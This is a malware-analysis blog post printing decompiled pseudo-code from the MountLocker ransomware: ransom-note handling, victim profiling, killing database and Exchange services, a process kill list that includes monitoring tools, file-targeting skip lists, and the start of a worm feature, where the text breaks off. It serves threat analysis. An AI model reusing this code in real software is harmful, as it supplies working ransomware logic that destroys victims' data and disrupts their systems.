[QuickNote] MountLocker – Some pseudo-code snippets

Posted: August 4, 2021 in [QuickNote] MountLocker - Some pseudo-code snippets
Tags: , ,

Refs:


  • Parse RecoveryManual.html content in memory and fill %CLIENT_ID%:
 // Generate CLIENT_ID
  for ( client_id_pos = StrStrIA(psz_recovery_manual_ransom_note, "%CLIENT_ID%");
        client_id_pos;
        client_id_pos = StrStrIA(psz_recovery_manual_ransom_note, "%CLIENT_ID%") )
  {
    cnt = 32i64;
    client_id_str = g_str_879538e20b82e80052dd5f7ef9ad5077;
    // replace %CLIENT_ID% with generated client_id
    // first 32 bytes is "879538e20b82e80052dd5f7ef9ad5077"
    // and the rest 32 bytes is random value
    do
    {
      client_id_str[client_id_pos - g_str_879538e20b82e80052dd5f7ef9ad5077] = *client_id_str;
      ++client_id_str;
      --cnt;
    }
    while ( cnt );
    ptr_curr_pos = client_id_pos + 32;
    for ( j = 0i64; j < 16; ++j )
    {
      *ptr_curr_pos = str_0123456789abcdef[(unsigned __int64)(unsigned __int8)szComputerName[j] >> 4];
      ptr_next_pos = ptr_curr_pos + 1;
      ch_ = szComputerName[j];
      *ptr_next_pos = str_0123456789abcdef[ch_ & 0xF];
      ptr_curr_pos = ptr_next_pos + 1;
    }
  }
  • Create registry key for opening RecoveryManual.html:
  // Software\Classes\.F638D8A0\shell\Open\command
  wsprintfW(pwzSubKey, L"Software\\Classes\\.%0.8X\\shell\\Open\\command", g_0xF638D8A0);
  cbData = lstrlenW(L"explorer.exe RecoveryManual.html");
  // Sets a registry subkey value in a user-specific subtree (HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE).
  SHRegSetUSValueW(pwzSubKey, &pwzValue, 1u, L"explorer.exe RecoveryManual.html", 2 * cbData, SHREGSET_FORCE_HKCU);
  • Create log file if /NOLOG is not set:
  if ( !g_nolog_flag )
  {
    lstrcpyW(lpLogFile, lpMountLockerPath);
    lstrcatW(lpLogFile, L".log");
    // dwShareMode = FILE_SHARE_READ | FILE_SHARE_WRITE
    h_log_file = CreateFileW(lpLogFile, GENERIC_WRITE|GENERIC_READ, 3u, 0i64, CREATE_ALWAYS, 0, 0i64);
    if ( h_log_file == (HANDLE)INVALID_HANDLE_VALUE )
    {
      h_log_file = 0i64;
    }
    else
    {
      g_log_file_and_console_flag = 1;
    }
  }
  // if set /CONSOLE, also log through console.
  if ( g_console_flag && AllocConsole() )
  {
    hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE);
    if ( hConsoleOutput == (HANDLE)INVALID_HANDLE_VALUE )
    {
      hConsoleOutput = 0i64;
    }
    else
    {
      g_log_file_and_console_flag = 1;
    }
  }
  • Collect victim’s system info:
int __stdcall f_ml_collect_and_log_victim_info()
{
  __int64 win_arch_value; // r8
  _BOOL join_domain_status; // eax
  const wchar_t *szYesNo; // rbx MAPDST
  LPWSTR lpCmdLine; // rax
  SYSTEM_PROCESSOR_INFORMATION NativeSystemInformation; // [rsp+30h] [rbp-D0h]
  struct _SYSTEM_INFO SystemInfo; // [rsp+40h] [rbp-C0h]
  struct _MEMORYSTATUS Buffer; // [rsp+70h] [rbp-90h]
  struct _OSVERSIONINFOW VersionInformation; // [rsp+B0h] [rbp-50h]
  unsigned __int16 v10; // [rsp+1C4h] [rbp+C4h]
  WCHAR wsz_infoBuf[272]; // [rsp+1D0h] [rbp+D0h]
  DWORD bufCharCount; // [rsp+400h] [rbp+300h]
  enum _NETSETUP_JOIN_STATUS JoinStatus; // [rsp+408h] [rbp+308h]
  LPWSTR NameBuffer; // [rsp+410h] [rbp+310h]

  f_ml_write_format_string_to_log_file_or_console(3, L"========== SYS INFO ==========\r\n");
  GetSystemInfo(&SystemInfo);
  f_ml_write_format_string_to_log_file_or_console(3, L"CORE COUNT:\t%u\r\n", SystemInfo.dwNumberOfProcessors);
  GlobalMemoryStatus(&Buffer);
  f_ml_write_format_string_to_log_file_or_console(3, L"TOTAL MEM:\t%u MB\r\n", Buffer.dwTotalPhys >> 0x14);
  memset(&VersionInformation, 0, 0x11Cu);
  VersionInformation.dwOSVersionInfoSize = 0x11C;
  if ( !RtlGetVersion(&VersionInformation) )
  {
    f_ml_write_format_string_to_log_file_or_console(
      3,
      L"WIN VER:\t%u.%u.%u SP%u\r\n",
      VersionInformation.dwMajorVersion,
      VersionInformation.dwMinorVersion,
      VersionInformation.dwBuildNumber,
      v10);
  }
  if ( !(unsigned int)RtlGetNativeSystemInformation(1i64, &NativeSystemInformation, 0xCi64) )
  {
    win_arch_value = CPU_ARCH_x86;
    if ( NativeSystemInformation.ProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 )
    {
      win_arch_value = CPU_ARCH_x64;
    }
    f_ml_write_format_string_to_log_file_or_console(3, L"WIN ARCH:\tx%u\r\n", win_arch_value);
  }
  bufCharCount = 0xFA;
  if ( GetUserNameW(wsz_infoBuf, &bufCharCount) )
  {
    wsz_infoBuf[bufCharCount] = 0;
    f_ml_write_format_string_to_log_file_or_console(3, L"USER NAME:\t%s\r\n", wsz_infoBuf);
  }
  bufCharCount = 0xFA;
  if ( GetComputerNameW(wsz_infoBuf, &bufCharCount) )
  {
    wsz_infoBuf[bufCharCount] = 0;
    f_ml_write_format_string_to_log_file_or_console(3, L"PC NAME:\t%s\r\n", wsz_infoBuf);
  }
  JoinStatus = NetSetupUnknownStatus;
  NameBuffer = 0i64;
  if ( NetGetJoinInformation(0i64, &NameBuffer, &JoinStatus) )
  {
    join_domain_status = 0;                     // NetSetupUnknownStatus 
  }
  else
  {
    NetApiBufferFree(NameBuffer);
    *(_QWORD *)&join_domain_status = JoinStatus == NetSetupDomainName;// The computer is joined to a domain. 
  }
  szYesNo = L"NO";
  szYesNo = L"NO";
  if ( join_domain_status )
  {
    szYesNo = L"YES";                           // computer is joined domain
  }
  f_ml_write_format_string_to_log_file_or_console(3, L"IN DOMAIN:\t%s\r\n", szYesNo);
  if ( g_isAdmin )
  {
    szYesNo = L"YES";
  }
  f_ml_write_format_string_to_log_file_or_console(3, L"IS ADMIN:\t%s\r\n", szYesNo);
  f_ml_log_group_infos();
  // get cmd_line info when malware is exectuted
  lpCmdLine = GetCommandLineW();
  return f_ml_write_format_string_to_log_file_or_console(3, L"CMDLINE:\t%s\r\n", lpCmdLine);
}

Result:

========== SYS INFO ==========
CORE COUNT:	4
TOTAL MEM:	4095 MB
WIN VER:	6.1.7601 SP1
WIN ARCH:	x64
USER NAME:	xxxxx
PC NAME:	xxxxx-PC
IN DOMAIN:	NO
IS ADMIN:	YES
IN GROUPS:
	Mandatory	xxxxx-PC\None
	Mandatory	\Everyone
	Mandatory	NT AUTHORITY\Local account and member of Administrators group
	Mandatory	BUILTIN\Administrators
	Mandatory	BUILTIN\Users
	Mandatory	NT AUTHORITY\INTERACTIVE
	Mandatory	\CONSOLE LOGON
	Mandatory	NT AUTHORITY\Authenticated Users
	Mandatory	NT AUTHORITY\This Organization
	Mandatory	NT AUTHORITY\Local account
	Mandatory	\LOCAL
	Mandatory	NT AUTHORITY\NTLM Authentication
	Integrity	Mandatory Label\High Mandatory Level
CMDLINE:	"mount_locker.exe"
  • If /NOKILL is 0, it enumerates and kills all services and processes:

+ Kill services, if service name contains any string is "SQL", "database", "msexchange":

int f_ml_kill_services_and_log_info()
{
  SC_HANDLE schSCManager; // rdi
  HANDLE h_proc_heap; // rax MAPDST
  struct _ENUM_SERVICE_STATUSA *lpServices; // rax MAPDST
  int ret; // esi
  __int64 svc_cnt; // rbx
  int result; // eax
  DWORD win32_err_code; // eax
  WCHAR *err_str; // r8
  WCHAR v10[36]; // [rsp+40h] [rbp-48h]
  DWORD NumServicesReturned; // [rsp+90h] [rbp+8h]
  DWORD ResumeHandle; // [rsp+98h] [rbp+10h]
  DWORD pcbBytesNeeded; // [rsp+A0h] [rbp+18h]

  f_ml_write_format_string_to_log_file_or_console(3, L"\r\n================================\r\n");
  f_ml_write_format_string_to_log_file_or_console(3, L"          KILL SERVICE          \r\n");
  f_ml_write_format_string_to_log_file_or_console(3, L"================================\r\n");
  ResumeHandle = 0;
  schSCManager = OpenSCManagerA(0i64, 0i64, SC_MANAGER_ALL_ACCESS);
  if ( !schSCManager )
  {
    goto log_error;
  }
  h_proc_heap = GetProcessHeap();
  lpServices = (struct _ENUM_SERVICE_STATUSA *)HeapAlloc(h_proc_heap, HEAP_ZERO_MEMORY, 0x40001ui64);
  if ( !lpServices )
  {
    CloseServiceHandle(schSCManager);
log_error:
    win32_err_code = GetLastError();
    if ( (win32_err_code & 0xFFFF0000) == 0x80070000 )
    {
      win32_err_code = (unsigned __int16)win32_err_code;
    }
    switch ( win32_err_code )
    {
      case ERROR_LOGON_FAILURE:
        err_str = L"LOGON_ERROR";
        break;
      case 5u:
        err_str = L"ACCESS_DENIED";
        break;
      case 8u:
        err_str = L"NOT_ENOUGH_MEMORY";
        break;
      case 0x35u:
        err_str = L"BAD_PATH_OR_OFFLINE";
        break;
      default:
        wsprintfW(v10, L"%0.8X", win32_err_code);
        err_str = v10;
        break;
    }
    return f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locekr.kill.service > get services list error=%s\r\n", err_str);
  }
  // dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS | SERVICE_WIN32
  // dwServiceState = SERVICE_ACTIVE
  ret = EnumServicesStatusA(schSCManager, SERVICE_WIN32, 1u, lpServices, 0x40000u, &pcbBytesNeeded, &NumServicesReturned, &ResumeHandle);
  if ( ret )
  {
    svc_cnt = 0i64;
    if ( NumServicesReturned )
    {
      // kills all services with these strings in their name: "SQL", "database", "msexchange"
      while ( 1 )
      {
        ret = f_ml_terminate_service_and_log_info(schSCManager, (PCSTR *)&lpServices[svc_cnt].lpServiceName);
        if ( !ret )
        {
          break;
        }
        svc_cnt = (unsigned int)(svc_cnt + 1);
        if ( (unsigned int)svc_cnt >= NumServicesReturned )
        {
          goto exit_sub;
        }
      }
      ret = 1;
    }
  }
exit_sub:
  h_proc_heap = GetProcessHeap();
  HeapFree(h_proc_heap, 0, lpServices);
  result = CloseServiceHandle(schSCManager);
  if ( !ret )
  {
    goto log_error;
  }
  return result;
}
__int64 __fastcall f_ml_terminate_service_and_log_info(SC_HANDLE schSCManager, PCSTR *lpServiceName)
{
  DWORD v4; // er8
  int ret; // eax
  const wchar_t *kill_service_status; // rdx

  if ( !StrStrIA(*lpServiceName, "SQL")
    && !StrStrIA(*lpServiceName, "database")
    && !StrStrIA(*lpServiceName, "msexchange")
    && !StrStrIA(lpServiceName[1], "SQL")
    && !StrStrIA(lpServiceName[1], "database")
    && !StrStrIA(lpServiceName[1], "msexchange") )
  {
    return 1i64;
  }
  // Terminate service if contains any of the three strings above.
  f_ml_write_format_string_to_log_file_or_console(3, L"%S... ", *lpServiceName);
  ret = f_ml_terminate_service(schSCManager, *lpServiceName, v4);
  if ( ret >= 0 )
  {
    kill_service_status = L"timeout\r\n";
    if ( ret )
    {
      kill_service_status = L"ok\r\n";
    }
  }
  else
  {
    kill_service_status = L"fail\r\n";
  }
  f_ml_write_format_string_to_log_file_or_console(3, kill_service_status);
  return 1i64;
}

+ Kill processes, if process name is matching with hard-coded list:

"msftesql.exe"
"sqlagent.exe"
"sqlbrowser.exe"
"sqlwriter.exe"
"oracle.exe"
"ocssd.exe"
"dbsnmp.exe"
"synctime.exe"
"agntsvc.exe"
"isqlplussvc.exe"
"xfssvccon.exe"
"sqlservr.exe"
"mydesktopservice.exe"
"ocautoupds.exe"
"encsvc.exe"
"firefoxconfig.exe"
"tbirdconfig.exe"
"mydesktopqos.exe"
"ocomm.exe"
"mysqld.exe"
"mysqld-nt.exe"
"mysqld-opt.exe"
"dbeng50.exe"
"sqbcoreservice.exe"
"excel.exe"
"infopath.exe"
"msaccess.exe"
"mspub.exe"
"onenote.exe"
"outlook.exe"
"powerpnt.exe"
"sqlservr.exe"
"thebat.exe"
"steam.exe"
"thebat64.exe"
"thunderbird.exe"
"visio.exe"
"winword.exe"
"wordpad.exe"
"QBW32.exe"
"QBW64.exe"
"ipython.exe"
"wpython.exe"
"python.exe"
"dumpcap.exe"
"procmon.exe"
"procmon64.exe"
"procexp.exe"
"procexp64.exe"
int __stdcall f_ml_kill_processes_and_log_info()
{
  DWORD curr_proc_id; // esi
  SYSTEM_PROCESS_INFORMATION *SystemInformation; // rdx
  SIZE_T dwBytes; // rbx
  HANDLE h_proc_heap; // rax MAPDST
  SYSTEM_PROCESS_INFORMATION *system_proc_info; // rax MAPDST
  unsigned int status; // eax
  int nChar; // eax
  DWORD win32_err_code; // eax
  WCHAR *err_str; // r8
  WCHAR v14[24]; // [rsp+40h] [rbp-C0h]
  CHAR process_name[272]; // [rsp+70h] [rbp-90h]
  ULONG SystemInformationLength; // [rsp+1A0h] [rbp+A0h]

  f_ml_write_format_string_to_log_file_or_console(3, L"\r\n================================\r\n");
  f_ml_write_format_string_to_log_file_or_console(3, L"          KILL PROCESS          \r\n");
  f_ml_write_format_string_to_log_file_or_console(3, L"================================\r\n");
  system_proc_info = 0i64;
  SystemInformationLength = 0;
  *(_QWORD *)&curr_proc_id = GetCurrentProcessId();
  for ( SystemInformation = 0i64; ; SystemInformation = system_proc_info )
  {
    status = ZwQuerySystemInformation(SystemProcessInformation, SystemInformation, SystemInformationLength, &SystemInformationLength);
    if ( status != (unsigned int)STATUS_INFO_LENGTH_MISMATCH )// record length does not match the length required for the specified information class.
    {
      break;
    }
    if ( !SystemInformationLength )
    {
      goto log_error_info;
    }
    dwBytes = SystemInformationLength + 1i64;
    h_proc_heap = GetProcessHeap();
    system_proc_info = (SYSTEM_PROCESS_INFORMATION *)(system_proc_info ? HeapReAlloc(h_proc_heap, HEAP_ZERO_MEMORY, system_proc_info, dwBytes) : HeapAlloc(h_proc_heap, HEAP_ZERO_MEMORY, dwBytes));
    if ( !system_proc_info )
    {
      goto log_error_info;
    }
  }
  if ( status )
  {
    SetLastError(status);
    if ( system_proc_info )
    {
      h_proc_heap = GetProcessHeap();
      HeapFree(h_proc_heap, 0, system_proc_info);
    }
  }
  else if ( system_proc_info )
  {
    while ( 1 )
    {
      if ( (unsigned __int64)system_proc_info->UniqueProcessId & 0xFFFFFFFFFFFFFFFBui64
        && system_proc_info->NumberOfThreads
        && system_proc_info->UniqueProcessId != *(HANDLE *)&curr_proc_id// avoid current MountLocker process
        && system_proc_info->ImageName.Buffer
        && system_proc_info->ImageName.Length )
      {
        process_name[0] = 0;
        // CodePage = CP_ACP
        nChar = WideCharToMultiByte(
                  0,
                  0,
                  system_proc_info->ImageName.Buffer,
                  system_proc_info->ImageName.Length >> 1,
                  process_name,
                  MAX_PATH,
                  0i64,
                  0i64);
        if ( nChar < 0 )
        {
          process_name[0] = 0;
        }
        else
        {
          process_name[nChar] = 0;
        }
        // enumerate and kill all processes if process name is matching with hardcoded list
        if ( !f_ml_terminate_process(process_name, system_proc_info) )
        {
          break;
        }
      }
      if ( !system_proc_info->NextEntryOffset )
      {
        break;
      }
      system_proc_info = (SYSTEM_PROCESS_INFORMATION *)((char *)system_proc_info + system_proc_info->NextEntryOffset);
    }
    h_proc_heap = GetProcessHeap();
    return HeapFree(h_proc_heap, 0, system_proc_info);
  }
log_error_info:
  win32_err_code = GetLastError();
  if ( (win32_err_code & 0xFFFF0000) == 0x80070000 )
  {
    win32_err_code = (unsigned __int16)win32_err_code;
  }
  switch ( win32_err_code )
  {
    case 0x52Eu:
      err_str = L"LOGON_ERROR";
      break;
    case 5u:
      err_str = L"ACCESS_DENIED";
      break;
    case 8u:
      err_str = L"NOT_ENOUGH_MEMORY";
      break;
    case 0x35u:
      err_str = L"BAD_PATH_OR_OFFLINE";
      break;
    default:
      wsprintfW(v14, L"%0.8X", win32_err_code);
      err_str = v14;
      break;
  }
  return f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locekr.kill.process > get process list error=%s\r\n", err_str);
}
unsigned int __fastcall f_ml_terminate_process(LPCSTR process_name, SYSTEM_PROCESS_INFORMATION *system_proc_info)
{
  const CHAR *ptr_proc_list; // rax
  int i; // ebx
  HANDLE h_process; // rax MAPDST
  BOOL status; // ebx
  const wchar_t *str; // rdx

  ptr_proc_list = g_processes_list;
  i = 0;
  while ( ptr_proc_list )
  {
    if ( !lstrcmpiA(process_name, ptr_proc_list) )
    {
      f_ml_write_format_string_to_log_file_or_console(3, L"%S... ", process_name);
      h_process = OpenProcess(1u, 0, (DWORD)system_proc_info->UniqueProcessId);
      if ( h_process )
      {
        status = TerminateProcess(h_process, 0);
        CloseHandle(h_process);
        str = L"ok\r\n";
        if ( !status )
        {
          str = L"fail kill\r\n";
        }
      }
      else
      {
        str = L"fail open\r\n";
      }
      f_ml_write_format_string_to_log_file_or_console(3, str);
      return 1;
    }
    ptr_proc_list = (&g_processes_list)[++i];
  }
  return 1;
}
  • Enumerate target drive:
ml_target_detail *__fastcall f_ml_enum_target_drive(LPCWSTR target_name, __int64 a2, __int64 a3, ml_target_info *target_info)
{
  HANDLE h_proc_heap; // rax MAPDST
  ml_target_detail *target_detail; // rax MAPDST
  __int64 target_name_len; // rcx
  unsigned int v10; // ebx

  h_proc_heap = GetProcessHeap();
  target_detail = (ml_target_detail *)HeapAlloc(h_proc_heap, 8u, 0x20271ui64);
  if ( !target_detail )
  {
    return target_detail;
  }
  *(_QWORD *)&target_detail->num_targets = 0i64;
  target_detail->val_1 = 1;
  target_detail->target_info = target_info;
  target_detail->f_ml_processing_target_and_drop_ransom_note = f_ml_processing_target_and_drop_ransom_note;
  lstrcpyW(target_detail->target_name, target_name);
  target_name_len = lstrlenW(target_name);
  if ( *((_WORD *)&target_detail->field_1C + target_name_len + 1) != '\\' )
  {
    *(_DWORD *)&target_detail->target_name[target_name_len] = '\\';
  }
  v10 = f_ml_recursive_enum_folder(target_detail);
  h_proc_heap = GetProcessHeap();
  HeapFree(h_proc_heap, 0, target_detail);
  target_detail = (ml_target_detail *)v10;
  return target_detail;
}

+ Skip if folder name is "." or "..":

    if ( target_detail_cp->lpFindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
    {
      if ( target_detail_cp->lpFindData.cFileName[0] != '.'
        || (v11 = target_detail_cp->lpFindData.cFileName[1]) != 0 && (v11 != '.' || target_detail_cp->lpFindData.cFileName[2]) )// check '.' and '..'
      {
        // ex: \\?\c:\$Recycle.Bin
        lstrcpyW(v7->target_name, target_detail_cp->lpFindData.cFileName);
        // \\?\c:\$Recycle.Bin\
        lstrcatW(v7->target_name, L"\\");
        if ( target_detail_cp->f_ml_processing_target_and_drop_ransom_note(IS_FOLDER, stru_offset, target_detail_cp->target_info) )
        {
          if ( target_detail_cp->val_1 )
          {
            ++target_detail_cp->field_1C;
            f_ml_recursive_enum_folder(target_detail_cp);
            --target_detail_cp->field_1C;
          }
        }
        v7->target_name[0] = 0;                 // clear file or folder name
      }
    }

+ Call function for checking target (folder / file) can be encrypted:

__int64 __fastcall f_ml_processing_target_and_drop_ransom_note(int isFolder, __int64 *stru_offset, ml_target_info *target_info)
{
  // if target is folder, check is in avoid list
  if ( isFolder )
  {
    return f_ml_check_folder_in_ignored_list_and_log_info(stru_offset, target_info);
  }
  // else if target is file, check is valid
  if ( f_ml_check_file_is_in_exception_list(stru_offset, target_info) )
  {
    f_ml_push_target_in_queue(stru_offset, target_info);
  }
  if ( target_info->field_0 == *(_DWORD *)stru_offset )
  {
    return 1i64;
  }
  // drop a ransom note in the folder.
  lstrcpyW(&target_info->target_ransom_note_name, CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name);
  lstrcatW(&target_info->target_ransom_note_name, L"RecoveryManual.html");
  if ( f_ml_create_file(&target_info->target_ransom_note_name, psz_recovery_manual_ransom_note, pcbRecoveryManualLen) )
  {
    target_info->field_0 = *(_DWORD *)stru_offset;
  }
  return 1i64;
}

+ If target is folder, skipped folder is in ignored list:

":\\Windows\\"
":\\System Volume Information\\"
":\\$RECYCLE.BIN\\"
":\\SYSTEM.SAV"
":\\WINNT"
":\\$WINDOWS.~BT\\"
":\\Windows.old\\"
":\\PerfLog\\"
":\\Boot"
":\\ProgramData\\Microsoft\\"
":\\ProgramData\\Packages\\"
"$\\Windows\\"
"$\\System Volume Information\\"
"$\\$RECYCLE.BIN\\"
"$\\SYSTEM.SAV"
"$\\WINNT"
"$\\$WINDOWS.~BT\\"
"$\\Windows.old\\"
"$\\PerfLog\\"
"$\\Boot"
"$\\ProgramData\\Microsoft\\"
"$\\ProgramData\\Packages\\"
"\\WindowsApps\\"
"\\Microsoft\\Windows\\"
"\\Local\\Packages\\"
"\\Windows Defender"
"\\microsoft shared\\"
"\\Google\\Chrome\\"
"\\Mozilla Firefox\\"
"\\Mozilla\\Firefox\\"
"\\Internet Explorer\\"
"\\MicrosoftEdge\\"
"\\Tor Browser\\"
"\\AppData\\Local\\Temp\\"
__int64 __fastcall f_ml_check_folder_in_ignored_list_and_log_info(__int64 *stru_offset, ml_target_info *target_info)
{
  REPARSE_DATA_BUFFER *reparse_point_data; // r14
  const WCHAR *ptr_ignored_folder_list; // rax
  const WCHAR *target_name; // rdi
  __int64 i; // rbx
  const wchar_t *black_list_info; // rdx
  HANDLE hFile; // rbp
  __int64 win32_err_code; // r8
  const wchar_t *err_log_str; // rdx
  BOOL ret; // ebx
  __int64 v14; // rax
  char *v15; // rbx
  DWORD BytesReturned; // [rsp+68h] [rbp+10h]

  reparse_point_data = (REPARSE_DATA_BUFFER *)&target_info->target_ransom_note_name;
  _InterlockedAdd(&dword_140013350, 1u);
  ptr_ignored_folder_list = g_ignored_folder_list;
  target_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name;
  i = 0i64;
  while ( ptr_ignored_folder_list )
  {
    if ( StrStrIW(target_name, ptr_ignored_folder_list) )
    {
      black_list_info = L"[SKIP] locker.dir.check > black_list name=%s\r\n";
LABEL_10:
      _InterlockedAdd(&dword_140013354, 1u);
log_info:
      f_ml_write_format_string_to_log_file_or_console(1, black_list_info, target_name);
      return 0i64;
    }
    ptr_ignored_folder_list = (&g_ignored_folder_list)[++i];
  }
  if ( g_target || g_fullpd_flag )
  {
    target_info->encrypt_target_of_full_flag = 0;
  }
  else if ( f_ml_check_folder_name_is_ProgramData_ProgramFiles_SQL(stru_offset, target_info) )
  {
    black_list_info = L"[SKIP] locker.dir.check > no sql program dir name=%s\r\n";
    goto LABEL_10;
  }
  if ( !(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) )
  {
    f_ml_write_format_string_to_log_file_or_console(1, L"[OK] locker.dir.check > name=%s\r\n", target_name);
    return 1i64;
  }
  // try to open target
  // dwShareMode = FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE
  // dwCreationDisposition = OPEN_EXISTING
  hFile = CreateFileW(target_name, 0x80u, 7u, 0i64, OPEN_EXISTING, 0x2200400u, 0i64);
  if ( hFile == (HANDLE)INVALID_HANDLE_VALUE )
  {
    win32_err_code = GetLastError();
    err_log_str = L"[WARN] locker.dir.check > open error=%u name=%s\r\n";
log_error:
    f_ml_write_format_string_to_log_file_or_console(1, err_log_str, win32_err_code, target_name);
    return 1i64;
  }
  // Use DeviceIoControl() with the FSCTL_GET_REPARSE_POINT control code to obtain an REPARSE_DATA_BUFFER struct
  ret = DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, 0i64, 0, reparse_point_data, 0x4000u, &BytesReturned, 0i64);
  CloseHandle(hFile);
  if ( !ret )
  {
    win32_err_code = GetLastError();
    err_log_str = L"[WARN] locker.dir.check > get_reparse_point error=%u name=%s\r\n";
    goto log_error;
  }
  // folder is a mount point
  if ( reparse_point_data->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT )
  {
    v14 = 0x10i64;
  }
  else
  {
    if ( reparse_point_data->ReparseTag != IO_REPARSE_TAG_SYMLINK )// folder is not a symbolic link
    {
      win32_err_code = reparse_point_data->ReparseTag;
      err_log_str = L"[WARN] locker.dir.check > unknown_tag tag=%0.8X name=%s\r\n";
      goto log_error;
    }
    v14 = 0x14i64;
  }
  v15 = (char *)reparse_point_data + v14;
  if ( *target_name == '\\'
    && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name[1] == '\\'
    && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name[2] != '?' )
  {
    black_list_info = L"[SKIP] locker.dir.check > reparse_point_into_share name=%s\r\n";
    goto log_info;
  }
  if ( StrStrIW((PCWSTR)((char *)reparse_point_data + v14), L":\\") )
  {
    _InterlockedAdd(&dword_140013354, 1u);
    f_ml_write_format_string_to_log_file_or_console(1, L"[SKIP] locker.dir.check > target_visibled target=%s name=%s\r\n", v15, target_name);
    return 0i64;
  }
  f_ml_write_format_string_to_log_file_or_console(1, L"[OK] locker.dir.check > target_hidden target=%s name=%s\r\n", v15, target_name);
  return 1i64;
}

…. and skipped folder name is:

"SQL"
"Program Files"
"Program Files (x86)"
"ProgramData"
_BOOL __fastcall f_ml_check_folder_name_is_ProgramData_ProgramFiles_SQL(__int64 *stru_offset, ml_target_info *target_info)
{
  __int32 flag; // ebx
  const WCHAR *target_name; // rsi

  flag = 0;
  if ( CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->field_1C )
  {
    return target_info->encrypt_target_of_full_flag
        && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->field_1C == 1
        && !StrStrIW(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.cFileName, L"SQL");
  }
  target_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.cFileName;
  if ( StrCmpIW(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.cFileName, L"Program Files")
    && StrCmpIW(target_name, L"Program Files (x86)") )
  {
    LOBYTE(flag) = StrCmpIW(target_name, L"ProgramData") == 0;
    target_info->encrypt_target_of_full_flag = flag;
  }
  else
  {
    target_info->encrypt_target_of_full_flag = 1;
  }
  return 0;
}

+ If target is file, check is valid to be encrypted:

unsigned int __fastcall f_ml_check_file_is_in_execption_list(__int64 *stru_offset, ml_target_info *target_info)
{
  DWORD file_size; // eax
  WCHAR *file_name; // rbx

  _InterlockedIncrement(&dword_140013320);
  if ( target_info->encrypt_target_of_full_flag && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->field_1C == 1 )
  {
    _InterlockedIncrement(&dword_140013334);
    return 0;
  }
  file_size = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.nFileSizeLow;
  // If file size is less than MIN_CRYPT_SIZE | if file size is larger than MAX_CRYPT_SIZE
  // then exit sub
  if ( (!file_size || file_size < g_min_size_to_enc_flag) && !CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.nFileSizeHigh
    || g_max_size_to_enc_flag
    && (CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.nFileSizeHigh || g_max_size_to_enc_flag < file_size) )
  {
    _InterlockedIncrement(&dword_140013338);
    return 0;
  }
  // not encrypt ransom note file
  file_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.cFileName;
  if ( !lstrcmpiW(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->lpFindData.cFileName, L"RecoveryManual.html") )
  {
    _InterlockedIncrement(&dword_140013330);
    return 0;
  }
  // not include Boot Manager
  if ( !lstrcmpiW(file_name, L"bootmgr") )
  {
    goto exit_sub;
  }
  // file name has the encrypted file extension
  if ( StrStrIW(file_name, g_enc_file_ext_ReadManual_F638D8A0) )
  {
    _InterlockedIncrement(&dword_14001332C);
    return 0;
  }
  // file extension is in the ignored list
  if ( !f_ml_check_extension_in_ignored_list(file_name) )
  {
    return 1;
  }
exit_sub:
  _InterlockedIncrement(&dword_140013328);
  return 0;
}

+ File extension is not in ignored list:

'exe'
'dll'
'sys'
'msi'
'mui'
'inf'
'cat'
'bat'
'cmd'
'ps1'
'vbs'
'ttf'
'fon'
'lnk'
unsigned int __fastcall f_ml_check_extension_in_ignored_list(WCHAR *file_name)
{
  WCHAR curr_char; // r8
  WCHAR *v2; // rdx
  WCHAR *psz_extension; // rax
  _WORD *ext_name_pos; // rdx
  __int64 i; // rcx
  signed __int64 offset; // r8
  const WCHAR *pwsz_ignored_ext_list; // rax
  __int64 ignored_ext_idx; // rbx
  WCHAR psz1[36]; // [rsp+20h] [rbp-48h]

  curr_char = *file_name;
  v2 = 0i64;
  if ( !*file_name )
  {
    return 0;
  }
  do
  {
    psz_extension = file_name;
    if ( curr_char != '.' )
    {
      psz_extension = v2;
    }
    ++file_name;
    v2 = psz_extension;
    curr_char = *file_name;
  }
  while ( *file_name );
  if ( !psz_extension )
  {
    return 0;
  }
  ext_name_pos = psz_extension + 1;
  i = 0i64;
  if ( psz_extension[1] )
  {
    offset = (char *)psz1 - (char *)ext_name_pos;
    // copy extension name to new buffer
    while ( i != 30 )
    {
      ++i;
      *(_WORD *)((char *)ext_name_pos + offset) = *ext_name_pos;
      ++ext_name_pos;
      if ( !*ext_name_pos )
      {
        goto chec_in_avoid_list;
      }
    }
  }
  else
  {
chec_in_avoid_list:
    psz1[i] = 0;
    if ( i )
    {
      pwsz_ignored_ext_list = g_ignored_extension_list;
      ignored_ext_idx = 0i64;
      while ( pwsz_ignored_ext_list )
      {
        if ( !StrCmpIW(psz1, pwsz_ignored_ext_list) )
        {
          return 1;
        }
        pwsz_ignored_ext_list = (&g_ignored_extension_list)[++ignored_ext_idx];
      }
    }
  }
  return 0;
}
  • Worm feature

+ Use IDirectorySearch COM interface to enumerate PC into domain:

unsigned int __fastcall f_ml_enum_pc_into_domain_via_LDAP(ml_worm_info *worm_info)
